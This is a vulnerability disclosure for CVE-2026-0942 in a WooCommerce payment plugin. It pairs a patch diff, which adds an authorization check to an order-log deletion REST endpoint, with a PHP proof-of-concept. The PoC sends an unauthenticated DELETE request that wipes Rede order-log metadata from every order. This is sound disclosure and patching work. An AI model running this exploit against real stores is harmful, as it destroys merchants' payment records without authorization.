CVE-2026-0942: Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit <= 5.1.5 – Missing Authorization to Unauthenticated Rede Order Logs Deletion (woo-rede)

--- a/woo-rede/Includes/LknIntegrationRedeForWoocommerce.php
+++ b/woo-rede/Includes/LknIntegrationRedeForWoocommerce.php
@@ -184,6 +184,9 @@
         $this->loader->add_filter('plugin_action_links_' . INTEGRATION_REDE_FOR_WOOCOMMERCE_FILE_BASENAME, $this, 'lknIntegrationRedeForWoocommercePluginRowMeta', 10, 2);
         $this->loader->add_filter('plugin_action_links_' . INTEGRATION_REDE_FOR_WOOCOMMERCE_FILE_BASENAME, $this, 'lknIntegrationRedeForWoocommercePluginRowMetaPro', 10, 2);

+        // Adicionar link do Changelog
+        $this->loader->add_filter('plugin_row_meta', $this, 'add_changelog_link', 10, 2);
+
         $this->loader->add_action('rest_api_init', $this->LknIntegrationRedeForWoocommerceEndpointClass, 'registerorderRedeCaptureEndPoint');
         $this->loader->add_filter('woocommerce_gateway_title', $this, 'customize_wc_payment_gateway_pix_name', 10, 2);

@@ -1493,4 +1496,23 @@
             'message' => __('Card brand not found', 'woo-rede'),
         ];
     }
+
+    /**
+     * Adiciona link do Changelog na página de plugins
+     */
+    public function add_changelog_link($plugin_meta, $plugin_file)
+    {
+        // Verificar se é o nosso plugin
+        if (strpos($plugin_file, 'integration-rede-for-woocommerce.php') !== false) {
+            $changelog_link = sprintf(
+                '<a href="%1$s" target="_blank">%2$s</a>',
+                'https://br.wordpress.org/plugins/woo-rede/#developers',
+                __('Changelog', 'woo-rede')
+            );
+
+            $plugin_meta[] = $changelog_link;
+        }
+
+        return $plugin_meta;
+    }
 }
--- a/woo-rede/Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php
+++ b/woo-rede/Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php
@@ -39,7 +39,7 @@
         register_rest_route('redeIntegration', '/clearOrderLogs', array(
             'methods' => 'DELETE',
             'callback' => array($this, 'clearOrderLogs'),
-            'permission_callback' => '__return_true',
+            'permission_callback' => array($this, 'check_clear_logs_permissions'),
         ));

         register_rest_route('woorede', '/s', array(
@@ -55,22 +55,87 @@
         ));
     }

+    /**
+     * Verifica se o usuário tem permissão para limpar logs de pedidos
+     *
+     * @return bool True se autorizado, false caso contrário
+     */
+    public function check_clear_logs_permissions()
+    {
+        // Verifica se o usuário está logado e tem permissão para gerenciar WooCommerce
+        return current_user_can('manage_woocommerce') || current_user_can('manage_options');
+    }
+
     public function clearOrderLogs($request)
     {
-        $args = array(
-            'limit' => -1, // Sem limite, pega todas as ordens
-            'meta_key' => 'lknWcRedeOrderLogs', // Meta key específica
-            'meta_compare' => 'EXISTS', // Verifica se a meta key existe
-        );
-
-        $orders = wc_get_orders($args);
-
-        foreach ($orders as $order) {
-            $order->delete_meta_data('lknWcRedeOrderLogs');
-            $order->save();
+        // Verificação adicional de segurança
+        if (!current_user_can('manage_woocommerce') && !current_user_can('manage_options')) {
+            return new WP_Error(
+                'insufficient_permissions',
+                __('You do not have permission to clear order logs.', 'woo-rede'),
+                array('status' => 403)
+            );
+        }
+
+        // Log da ação para auditoria
+        if (function_exists('wc_get_logger')) {
+            $logger = wc_get_logger();
+            $current_user = wp_get_current_user();
+            $logger->info('Order logs cleared by user', array(
+                'source' => 'rede-security-audit',
+                'user_id' => $current_user->ID,
+                'user_login' => $current_user->user_login,
+                'user_ip' => isset($_SERVER['REMOTE_ADDR']) ? sanitize_text_field(wp_unslash($_SERVER['REMOTE_ADDR'])) : 'unknown',
+                'timestamp' => current_time('mysql')
+            ));
         }

-        return new WP_REST_Response($orders, 200);
+        $deleted_count = 0;
+        $batch_size = 50; // Processa 50 pedidos por vez para evitar esgotamento de memória
+        $offset = 0;
+
+        do {
+            $args = array(
+                'limit' => $batch_size,
+                'offset' => $offset,
+                'meta_key' => 'lknWcRedeOrderLogs',
+                'meta_compare' => 'EXISTS',
+                'return' => 'ids', // Retorna apenas IDs para economizar memória
+            );
+
+            $order_ids = wc_get_orders($args);
+
+            if (empty($order_ids)) {
+                break; // Não há mais pedidos para processar
+            }
+
+            foreach ($order_ids as $order_id) {
+                $order = wc_get_order($order_id);
+                if ($order) {
+                    $order->delete_meta_data('lknWcRedeOrderLogs');
+                    $order->save();
+                    $deleted_count++;
+                }
+
+                // Libera memória do objeto order
+                unset($order);
+            }
+
+            $offset += $batch_size;
+
+            // Força limpeza de memória entre lotes
+            if (function_exists('gc_collect_cycles')) {
+                gc_collect_cycles();
+            }
+
+        } while (count($order_ids) === $batch_size);
+
+        return new WP_REST_Response(array(
+            'success' => true,
+            /* translators: %d: number of orders from which logs were cleared */
+            'message' => sprintf(__('Logs cleared from %d orders.', 'woo-rede'), $deleted_count),
+            'orders_affected' => $deleted_count
+        ), 200);
     }

     public function maxipagoDebitListener($request)
--- a/woo-rede/integration-rede-for-woocommerce.php
+++ b/woo-rede/integration-rede-for-woocommerce.php
@@ -15,7 +15,7 @@
  * @wordpress-plugin
  * Plugin Name:       Integration Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit
  * Description:       Receba pagamentos por meio de cartões de crédito e débito, de diferentes bandeiras, usando a tecnologia de autenticação 3DS e recursos avançados de proteção contra fraudes.
- * Version:           5.1.5
+ * Version:           5.1.6
  * Author:            Link Nacional
  * Author URI:        https://linknacional.com.br/wordpress
  * License:           GPL-3.0+
--- a/woo-rede/lkn-integration-rede-for-woocommerce-file.php
+++ b/woo-rede/lkn-integration-rede-for-woocommerce-file.php
@@ -17,7 +17,7 @@
  * Rename this for your plugin and update it as you release new versions.
  */
 if (! defined('INTEGRATION_REDE_FOR_WOOCOMMERCE_VERSION')) {
-    define('INTEGRATION_REDE_FOR_WOOCOMMERCE_VERSION', '5.1.5');
+    define('INTEGRATION_REDE_FOR_WOOCOMMERCE_VERSION', '5.1.6');
 }

 if (! defined('INTEGRATION_REDE_FOR_WOOCOMMERCE_FILE')) {

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0942 - Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit <= 5.1.5 - Missing Authorization to Unauthenticated Rede Order Logs Deletion

<?php
/**
 * Proof of Concept for CVE-2026-0942
 * Unauthenticated Rede Order Logs Deletion Vulnerability
 * 
 * This script demonstrates how an unauthenticated attacker can delete
 * the 'lknWcRedeOrderLogs' metadata from all WooCommerce orders.
 */

// Configuration - Set your target WordPress site URL
$target_url = 'https://vulnerable-site.com';

// Construct the vulnerable REST API endpoint
$endpoint = '/wp-json/redeIntegration/clearOrderLogs';
$full_url = rtrim($target_url, '/') . $endpoint;

echo "Atomic Edge CVE-2026-0942 PoCn";
echo "Target: $full_urln";
echo "Method: DELETEnn";

// Initialize cURL session
$ch = curl_init();

// Set cURL options for DELETE request
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Disable for testing only
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);

// Close cURL session
curl_close($ch);

// Display results
if ($error) {
    echo "Error: $errorn";
} else {
    echo "HTTP Status Code: $http_coden";
    echo "Response: $responsen";
    
    if ($http_code === 200) {
        echo "n[+] SUCCESS: Order logs metadata deleted from all WooCommerce orders.n";
        echo "    The 'lknWcRedeOrderLogs' meta key has been removed.n";
    } else {
        echo "n[-] FAILED: The endpoint may be patched or inaccessible.n";
    }
}

// Note: This vulnerability affects plugin versions <= 5.1.5
// Patched in version 5.1.6 with proper capability checks
?>